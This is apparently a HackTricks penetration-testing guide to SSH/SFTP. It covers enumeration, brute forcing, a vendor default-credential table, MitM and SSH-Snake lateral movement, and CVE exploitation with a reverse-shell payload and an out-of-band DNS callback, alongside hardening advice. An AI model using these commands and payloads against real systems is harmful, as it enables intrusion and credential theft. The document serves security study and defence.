// HackTricks · Network Services

22 - Pentesting SSH/SFTP

22 - Pentesting SSH/SFTP

Basic information

SSH (Secure Shell or Secure Socket Shell) is a network protocol that enables a secure connection to a computer over an unsecured network. It is essential for maintaining the confidentiality and integrity of data when accessing remote systems.

Default port: 22

22/tcp open  ssh     syn-ack

SSH servers:

  • OpenSSH – OpenBSD’s SSH implementation, shipped in BSD and Linux distributions and available in Windows since Windows 10
  • Dropbear – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
  • PuTTY – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
  • CopSSH – implementation of OpenSSH for Windows

SSH libraries (implementing server-side):

  • libssh – multiplatform C library implementing the SSHv2 protocol with bindings in Python, Perl and R; it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
  • wolfSSH – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
  • Apache MINA SSHD – Apache SSHD java library is based on Apache MINA
  • paramiko – Python SSHv2 protocol library

Enumeration

nc -vn <IP> 22

Automated ssh-audit

ssh-audit is a tool for auditing SSH server and client configurations.[6]

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Features:

  • SSH1 and SSH2 protocol server support;
  • analyze SSH client configuration;
  • grab banner, recognize device or software and operating system, detect compression;
  • gather key-exchange, host-key, encryption and message authentication code algorithms;
  • output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc);
  • output algorithm recommendations (append or remove based on recognized software version);
  • output security information (related issues, assigned CVE list, etc);
  • analyze SSH version compatibility based on algorithm information;
  • historical information from OpenSSH, Dropbear SSH and libssh;
  • runs on Linux and Windows;
  • no dependencies
usage: ssh-audit.py [-1246pbcnjvlt] <host>

   -1,  --ssh1             force ssh version 1 only
   -2,  --ssh2             force ssh version 2 only
   -4,  --ipv4             enable IPv4 (order of precedence)
   -6,  --ipv6             enable IPv6 (order of precedence)
   -p,  --port=<port>      port to connect
   -b,  --batch            batch output
   -c,  --client-audit     starts a server on port 2222 to audit client
                               software config (use -p to change port;
                               use -t to change timeout)
   -n,  --no-colors        disable colors
   -j,  --json             JSON output
   -v,  --verbose          verbose output
   -l,  --level=<level>    minimum output level (info|warn|fail)
   -t,  --timeout=<secs>   timeout (in seconds) for connection and reading
                               (default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Public SSH key of server

ssh-keyscan -t rsa <IP> -p <PORT>

Weak Cipher Algorithms

Nmap’s SSH scripts and ssh-audit can identify weak SSH algorithms. TLS-specific tools such as sslscan and sslyze do not audit SSH.

Nmap scripts

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this:

msf> use scanner/ssh/ssh_enumusers

Brute force

Some common SSH credentials are available here, here, and in the table below.

Private Key Brute Force

If you have candidate SSH private keys, test them with the following Nmap script:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Or the MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

Authorized

Weak SSH keys / Debian predictable PRNG

Some systems have known flaws in the random seed used to generate cryptographic material. This can dramatically reduce the keyspace and make brute force feasible. Pre-generated keys from Debian systems affected by the weak PRNG are available in g0tmi1k/debian-ssh.

You should look here in order to search for valid keys for the victim machine.

Kerberos / GSSAPI SSO

If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.[3]

Workflow from a Linux attacker host:[3]

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notes:

  • If you connect to the wrong name (e.g., short host, alias, or wrong order in /etc/hosts), you may get: “Server not found in Kerberos database” because the SPN does not match.[3][7]
  • crackmapexec ssh --kerberos can also use your ccache for Kerberos auth.

Default Credentials

VendorUsernamesPasswords
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to perform a MitM attack to steal those credentials:

Attack path:

  • Traffic Redirection: The attacker diverts the victim’s traffic to their machine, effectively intercepting the connection attempt to the SSH server.
  • Interception and Logging: The attacker’s machine acts as a proxy, capturing the user’s login details by pretending to be the legitimate SSH server.
  • Command Execution and Relay: Finally, the attacker’s server logs the user’s credentials, forwards the commands to the real SSH server, executes them, and sends the results back to the user, making the process appear seamless and legitimate.

SSH MITM does exactly what is described above.

To perform the man-in-the-middle attack, use techniques such as ARP or DNS spoofing, as described under network spoofing attacks.

SSH-Snake

If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then SSH-Snake is what you need.

SSH-Snake performs the following tasks automatically and recursively:

  1. On the current system, find any SSH private keys,
  2. On the current system, find any hosts or destinations (user@host) that the private keys may be accepted,
  3. Attempt to SSH into all of the destinations using all of the private keys discovered,
  4. If a destination is successfully connected to, repeats steps #1 - #4 on the connected-to system.

It is self-replicating, self-propagating, and fileless.

Configuration weaknesses

Root login

OpenSSH currently defaults PermitRootLogin to prohibit-password, which still allows root login with public-key authentication. Setting it to no disables direct root login entirely and reduces the impact of stolen root credentials or keys.[8]

To Disable Root Login in OpenSSH:

  1. Edit the SSH server configuration: sudoedit /etc/ssh/sshd_config.
  2. Set PermitRootLogin no.
  3. Validate the configuration: sudo sshd -t.
  4. Reload SSH without dropping established sessions: sudo systemctl reload sshd (the unit may be named ssh on some distributions).

SFTP Brute Force

SFTP command execution

A common oversight occurs in SFTP setups where administrators intend to permit file exchange without enabling remote shell access. Merely assigning a non-interactive shell such as /usr/bin/nologin does not replace SSH-level authorization. If the server configuration still accepts session commands, a user may request a command such as /bin/bash. Enforce the restriction with ForceCommand internal-sftp and disable forwarding and TTY allocation as shown below.[2]

Example from here:[2]

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Here is an example of a secure OpenSSH SFTP configuration (/etc/ssh/sshd_config) for the user noraj:[2]

Match User noraj
        ChrootDirectory %h
        ForceCommand internal-sftp
        AllowTcpForwarding no
        PermitTunnel no
        X11Forwarding no
        PermitTTY no

This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.

SFTP Tunneling

If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP supports the symlink command. With write access to a directory, you may be able to create symbolic links to other files or directories. A chrooted SFTP process normally cannot follow a link outside its root, but another non-chrooted service that exposes the same filesystem path (for example, a web server) may resolve the link in its own namespace and disclose the target.

For example, to create a symlink from a new file froot” to ”/:

sftp> symlink / froot

If you can access the file “froot” via web, you will be able to list the root (”/”) folder of the system.

Authentication methods

In high-security environments, it is common to require key-based or multi-factor authentication instead of password-only authentication. However, administrators sometimes enable a stronger method without disabling weaker ones. For example, an OpenSSH server may offer publickey first while still accepting password. An assessor can identify all offered methods with verbose client output:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the PreferredAuthentications option to force to use this method.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Review the SSH server configuration to ensure that only the expected authentication methods are authorized. Verbose client output helps verify the effective configuration.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Recent Critical Vulnerabilities (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 removed the async-safe logging guard inside sshd’s SIGALRM handler, reintroducing CVE-2006-5051 and letting unauthenticated attackers corrupt the glibc heap as soon as LoginGraceTime expires. Qualys weaponized the bug for root RCE on 32-bit Linux and noted that 64-bit targets remain brute-forceable with enough grooming attempts, so prioritize hosts that still disclose those versions during banner grabs.[4]

Exploitation is timing-based: hammer the daemon with half-open sessions that never authenticate so the privileged monitor repeatedly hits the vulnerable signal path while you shape allocator state.[4]

Operator tips:[4]

  • Capture the remote banner with nc -nv <target> 22 or ssh -vv <target>; then confirm the installed package build and effective LoginGraceTime locally or through authenticated configuration review.
  • Pressure-test a lab target by spamming short-lived sessions that request no authentication, for example:
    parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Hosts that force LoginGraceTime 0 never touch the buggy code path—expect only a DoS angle by exhausting MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 and 5.6.1 shipped trojanized release tarballs whose build scripts unpack a hidden object during Debian/RPM packaging on x86-64 Linux. The payload abuses glibc’s IFUNC resolver to hook RSA_public_decrypt in sshd (when systemd patches compel liblzma to load) and accepts attacker-signed packets for pre-auth code execution.[5]

Because the malicious logic lives only inside those packaged binaries, offensive validation must inspect what the victim actually installed: check xz --version, rpm -qi xz/dpkg -l xz-utils, compare hashes of /usr/lib*/liblzma.so*, and inspect ldd /usr/sbin/sshd | grep -E "systemd|lzma" to see whether sshd even pulls the compromised dependency. The hook stays dormant unless the process path is /usr/sbin/sshd, so recreating the distro build environment is often required to reproduce the backdoor in a lab.[5]

Authentication State-Machine Bypass (Pre-Auth RCE)

Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.

At a protocol level any SSH message with a message code ≥ 80 (0x50) belongs to the connection layer (RFC 4254) and must only be accepted after successful authentication (RFC 4252). If the server processes one of those messages while still in the SSH_AUTHENTICATION state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.[1]

Generic exploitation steps

  1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
  2. Craft a raw SSH packet:
    • 4-byte packet_length (big-endian)
    • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
    • Payload that will be understood by the chosen message type
  3. Send the packet(s) before completing any authentication step.
  4. Interact with the server APIs that are now exposed pre-auth (command execution, port forwarding, file-system access, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In practice you will need to perform (or skip) the key-exchange according to the target implementation, but no authentication is ever performed.


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: the Erlang native SSH daemon does not validate the current state before invoking ssh_connection:handle_msg/2. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the userauth state.
  • Impact: unauthenticated remote code execution (the daemon usually runs as root on embedded/OT devices).[1]

Example payload that spawns a reverse shell bound to the attacker-controlled channel:[1]

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection can be performed via DNS:[1]

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detection & Mitigation:[1]

  • Inspect SSH traffic: drop any packet with message code ≥ 80 observed before authentication.
  • Upgrade Erlang/OTP to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer.
  • Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment.

Other Implementations Affected

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accepts an unauthenticated SSH_MSG_USERAUTH_SUCCESS sent by the client, effectively the inverse logic flaw.

The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to state-machine enforcement.

HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
  Name: Hydra Brute Force
  Description: Need Username
  Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
  Name: consoleless MSF enumeration
  Description: SSH enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

References